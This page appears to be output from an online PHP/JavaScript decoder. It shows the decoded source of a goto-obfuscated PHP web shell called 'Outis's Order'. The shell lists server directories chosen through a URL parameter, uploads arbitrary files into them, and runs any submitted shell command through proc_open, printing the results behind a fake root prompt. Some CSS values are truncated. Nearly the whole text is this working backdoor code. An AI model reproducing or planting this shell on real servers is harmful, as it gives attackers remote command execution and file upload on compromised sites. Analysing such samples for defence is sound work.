Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto LUxuS; U639q: bBMDd: goto LL6hk; uAQ80: jQNxt: goto HYRzu; gZByM: foreach ($mFmpb as $Fkd6W) { goto IOMhc; IOMhc: if (!($Fkd6W === )) { goto WDsl4; } goto HEMeA; HEMeA: goto P9stD; goto oSOul; Rog9q: goto DOeYk; goto CkThR; CkThR: AAkBo: goto q_mii; E2Q4R: P9stD: goto WAOi0; zVG9R: DOeYk: goto E2Q4R; q_mii: $wDSPy[] = $Fkd6W; goto zVG9R; Ea2oF: $oFFMU[] = $Fkd6W; goto Rog9q; tz2xF: $O70gp = realpath($CGQBi . DIRECTORY_SEPARATOR . $Fkd6W); goto hYuDi; hYuDi: if (is_dir($O70gp)) { goto AAkBo; } goto Ea2oF; oSOul: WDsl4: goto tz2xF; WAOi0: } goto uAQ80; Vdrj9: $AqWZf = ''; goto gYpgu; C0Nqg: $qjOxM = $_POST["command"]; goto Rh9C0; q2lXT: proc_close($TsOxF); goto gBshF; LL6hk: echo "
    <div class="container">
        <div class="dir-list">\xa            "; goto T3tgs; VCStw: $TsOxF = proc_open($qjOxM, $y9No_, $GbLA4, $CGQBi); goto HIZam; rZJOL: if (empty($MrL9q)) { goto bBMDd; } goto igxKF; T3tgs: foreach ($mFmpb as $Fkd6W) { goto Imd3R; PuMWG: if (is_dir($O70gp)) { goto MbJgv; } goto R_o2I; W29SF: NYq3s: goto CtFT3; pHWDQ: goto NYq3s; goto gXs2d; wzZ1F: echo "<a href="?path=" . htmlspecialchars($O70gp) . "">[DIR] " . htmlspecialchars($Fkd6W) . "</a>"; goto W29SF; CtFT3: yQT1H: goto zJind; gXs2d: MbJgv: goto wzZ1F; R_o2I: echo "<span>" . htmlspecialchars($Fkd6W) . "</span>"; goto pHWDQ; Imd3R: $O70gp = realpath($CGQBi . DIRECTORY_SEPARATOR . $Fkd6W); goto PuMWG; zJind: } goto TLjU5; HYRzu: sort($wDSPy); goto Hd1Jn; LlOIN: ZQRT0: goto sMBrL; gyjxx: fclose($GbLA4[1]); goto YBIWf; a2jRZ: fclose($GbLA4[0]); goto kXoff; cLnj7: if (!($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["file"]))) { goto ZQRT0; } goto f2s0y; cl6f8: $oFFMU = []; goto gZByM; Hd1Jn: sort($oFFMU); goto ZL_Mj; sI1w0: $wDSPy = []; goto cl6f8; igxKF: echo "        <div class="container">\xa            <pre>"; goto u0vmV; D_iDr: echo "    </div>\xa\xa    <div class="container upload-section">\xa        <form id="upload-form" method="post" enctype="multipart/form-data">
            <div class="file-input-container">
                <input type="file" name="file[]">\xa                <button type="button" class="upload-btn" onclick="addUploadField()">+</button>
            </div>\xa            <button type="submit" class="upload-btn" id="upload-button">Upload</button>
        </form>
    </div>\xa\xa    <div class="container command-box">\xa        <form method="post" style="display: flex; width:00%; gap: px; justify-content: center; align-items: center;">
            <label style="color: #0f0;">root@outis:~$</label>\xa            <input type="text" name="command" placeholder="Enter command..." required autofocus style="flex-grow:;">\xa            <button type="submit" class="upload-btn">Run</button>\xa        </form>
    </div>\xa\xa    
    "; goto rZJOL; X1nc1: if (!($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["command"]) && !empty($_POST["command"]))) { goto FsyqO; } goto C0Nqg; XDegu: $Ecpku = explode(DIRECTORY_SEPARATOR, $CGQBi); goto Vdrj9; g0j80: $mFmpb = scandir($CGQBi); goto sI1w0; KPeKL: FsyqO: goto LkrIS; f2s0y: foreach ($_FILES["file"]["tmp_name"] as $w9lAo => $A3qWQ) { goto Gh5gr; zr2nq: su3jd: goto PxFzA; Gh5gr: $gIfvV = $CGQBi . DIRECTORY_SEPARATOR . basename($_FILES["file"]["name"][$w9lAo]); goto pszVD; pszVD: move_uploaded_file($A3qWQ, $gIfvV); goto zr2nq; PxFzA: } goto JX36o; gYpgu: foreach ($Ecpku as $vNdHU => $J45IC) { goto k2dmw; k2dmw: if (!($J45IC !== '')) { goto iGqU0; } goto TwwjW; TwwjW: $AqWZf .= ($vNdHU == 0 ? '' : DIRECTORY_SEPARATOR) . $J45IC; goto atEoO; atEoO: echo "<a href="?path=" . htmlspecialchars($AqWZf) . "">" . htmlspecialchars($J45IC) . "</a>/"; goto JvDPf; bsOhY: MRTF4: goto S6pJB; JvDPf: iGqU0: goto bsOhY; S6pJB: } goto nV4g_; HIZam: if (!is_resource($TsOxF)) { goto DqTa4; } goto a2jRZ; TLjU5: Z_Ad7: goto Jh8HB; gBshF: DqTa4: goto KPeKL; JX36o: YyjK6: goto LlOIN; u0vmV: echo htmlspecialchars($MrL9q); goto S8Zto; nV4g_: pY4UO: goto D_iDr; LkrIS: echo "<!DOCTYPE html>
<html lang="en">
<head>\xa    <meta charset="UTF-8">\xa    <meta name="viewport" content="width=device-width, initial-scale=1.0">\xa    <title>Outis's Order</title> \xa    <style>
        body {\xa            background-color: black;\xa            color: #0f0;\xa            font-family: monospace;
            margin: 0;\xa            padding:;
            display: flex;\xa            flex-direction: column;
            align-items: center;
            height:00vh;\xa        }\xa        .container {
            width: %;
            max-width: 800px;\xa            background: ;
            padding:0px;
            border-radius:0px;
            box-shadow: 0 05px f0;
            text-align: left;\xa            margin-bottom: 10px;\xa        }\xa        .path {
            padding: 10px;\xa            background: #2;\xa            display: flex;\xa            gap: 5px;
            justify-content: center;
        }
        .path a {\xa            color: #0f0;
            text-decoration: none;
            padding:px 6px;
            background: #3;\xa            border-radius: 3px;
        }
        .upload-section {\xa            display: flex;\xa            flex-direction: column;\xa            align-items: center;
            gap: 10px;\xa        }\xa        .upload-btn {
            background: f0;
            color: black;
            padding: 8px;\xa            border: none;
            cursor: pointer;\xa            font-size: 14px;
            border-radius: 5px;\xa        }
        .command-box {\xa            display: flex;
            justify-content: center;\xa            align-items: center;
            width: 100%;
            gap: px;
            background: #2;
            border-radius: 5px;\xa            padding: 10px;
        }\xa        .command-box input {\xa            flex-grow:;
            background: #111;
            color: #0f0;\xa            border: 1px solid #0f0;
            padding: 8px;\xa            font-size: 14px;\xa            border-radius: 5px;
        }\xa        .command-box button {\xa            background: #0f0;
            color: black;\xa            padding: 8px;\xa            border: none;
            cursor: pointer;\xa            border-radius:px;
            font-size: 14px;
        }
        .dir-list {
            display: flex;
            flex-direction: column;
            align-items: flex-start;
            overflow-y: auto;\xa            max-height: 3px;
        }
        .dir-list a {
            color: f0;\xa            font-weight: bold;\xa            margin-bottom: 5px;
            background: #333;
            padding: 5px;\xa            border-radius: 3px;
            text-decoration: none;
        }
        .dir-list a:hover {
            background: #4;\xa        }
        .dir-list span {\xa            color: white;\xa            margin-bottom: 5px;\xa        }\xa        .file-input-container {\xa            display: flex;
            gap: px;\xa            align-items: center;\xa        }\xa        pre {\xa            white-space: pre-wrap;\xa            word-wrap: break-word;
            background: 22;\xa            padding: 10px;
            border-radius: 5px;\xa        }
    </style>\xa    <script>\xa        function addUploadField() {\xa            let container = document.createElement("div");\xa            container.classList.add("file-input-container");\xa            let input = document.createElement("input");
            input.type = "file";
            input.name = "file[]";\xa            document.getElementById("upload-form").insertBefore(container, document.getElementById("upload-button"));
            container.appendChild(input);\xa        }\xa    </script>
</head>\xa<body>\xa    <h1>Outis's Order</h1>
    <div class="container path">\xa        "; goto XDegu; sMBrL: $MrL9q = ''; goto X1nc1; LUxuS: $CGQBi = isset($_GET["path"]) ? realpath($_GET["path"]) : dirname(__FILE__); goto g0j80; ZL_Mj: $mFmpb = array_merge($wDSPy, $oFFMU); goto cLnj7; Rh9C0: $y9No_ = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]]; goto VCStw; YBIWf: fclose($GbLA4[2]); goto q2lXT; kXoff: $MrL9q = stream_get_contents($GbLA4[1]); goto gyjxx; S8Zto: echo "</pre>\xa        </div>\xa    "; goto U639q; Jh8HB: echo "        </div>
    </div>\xa</body>\xa</html>
";



© 2023 Quttera Ltd. All rights reserved.